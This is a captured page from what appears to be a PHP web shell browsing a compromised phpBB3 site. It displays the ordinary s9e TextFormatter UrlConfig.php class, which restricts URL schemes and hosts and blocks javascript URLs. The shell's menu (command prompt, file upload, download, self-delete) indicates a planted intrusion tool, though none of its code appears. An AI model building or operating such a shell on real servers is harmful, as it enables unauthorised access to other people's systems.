.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/vendor/s9e/text-formatter/src/Configurator/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/vendor/s9e/text-formatter/src/Configurator/UrlConfig.php

    <?php
    
    /**
    * @package   s9e\TextFormatter
    * @copyright Copyright (c) 2010-2020 The s9e authors
    * @license   http://www.opensource.org/licenses/mit-license.php The MIT License
    */
    namespace s9e\TextFormatter\Configurator;
    
    use RuntimeException;
    use s9e\TextFormatter\Configurator\Collections\HostnameList;
    use s9e\TextFormatter\Configurator\Collections\SchemeList;
    use s9e\TextFormatter\Configurator\Helpers\ConfigHelper;
    
    class UrlConfig implements ConfigProvider
    {
    	/**
    	* @var SchemeList List of allowed schemes
    	*/
    	protected $allowedSchemes;
    
    	/**
    	* @var HostnameList List of disallowed hosts
    	*/
    	protected $disallowedHosts;
    
    	/**
    	* @var HostnameList List of allowed hosts
    	*/
    	protected $restrictedHosts;
    
    	/**
    	* Constructor
    	*/
    	public function __construct()
    	{
    		$this->disallowedHosts = new HostnameList;
    		$this->restrictedHosts = new HostnameList;
    
    		$this->allowedSchemes   = new SchemeList;
    		$this->allowedSchemes[] = 'http';
    		$this->allowedSchemes[] = 'https';
    	}
    
    	/**
    	* {@inheritdoc}
    	*/
    	public function asConfig()
    	{
    		return ConfigHelper::toArray(get_object_vars($this));
    	}
    
    	/**
    	* Allow a URL scheme
    	*
    	* @param string $scheme URL scheme, e.g. "file" or "ed2k"
    	* @return void
    	*/
    	public function allowScheme($scheme)
    	{
    		if (strtolower($scheme) === 'javascript')
    		{
    			throw new RuntimeException('The JavaScript URL scheme cannot be allowed');
    		}
    
    		$this->allowedSchemes[] = $scheme;
    	}
    
    	/**
    	* Disallow a hostname (or hostname mask) from being used in URLs
    	*
    	* @param  string $host            Hostname or hostmask
    	* @param  bool   $matchSubdomains Whether to match subdomains of given host
    	* @return void
    	*/
    	public function disallowHost($host, $matchSubdomains = true)
    	{
    		$this->disallowedHosts[] = $host;
    
    		if ($matchSubdomains && substr($host, 0, 1) !== '*')
    		{
    			$this->disallowedHosts[] = '*.' . $host;
    		}
    	}
    
    	/**
    	* Remove a scheme from the list of allowed URL schemes
    	*
    	* @param  string $scheme URL scheme, e.g. "file" or "ed2k"
    	* @return void
    	*/
    	public function disallowScheme($scheme)
    	{
    		$this->allowedSchemes->remove($scheme);
    	}
    
    	/**
    	* Return the list of allowed URL schemes
    	*
    	* @return array
    	*/
    	public function getAllowedSchemes()
    	{
    		return iterator_to_array($this->allowedSchemes);
    	}
    
    	/**
    	* Allow a hostname (or hostname mask) to being used in URLs while disallowing everything else
    	*
    	* Can be called multiple times to restricts URLs to a set of given hostnames
    	*
    	* @param  string $host            Hostname or hostmask
    	* @param  bool   $matchSubdomains Whether to match subdomains of given host
    	* @return void
    	*/
    	public function restrictHost($host, $matchSubdomains = true)
    	{
    		$this->restrictedHosts[] = $host;
    
    		if ($matchSubdomains && substr($host, 0, 1) !== '*')
    		{
    			$this->restrictedHosts[] = '*.' . $host;
    		}
    	}
    }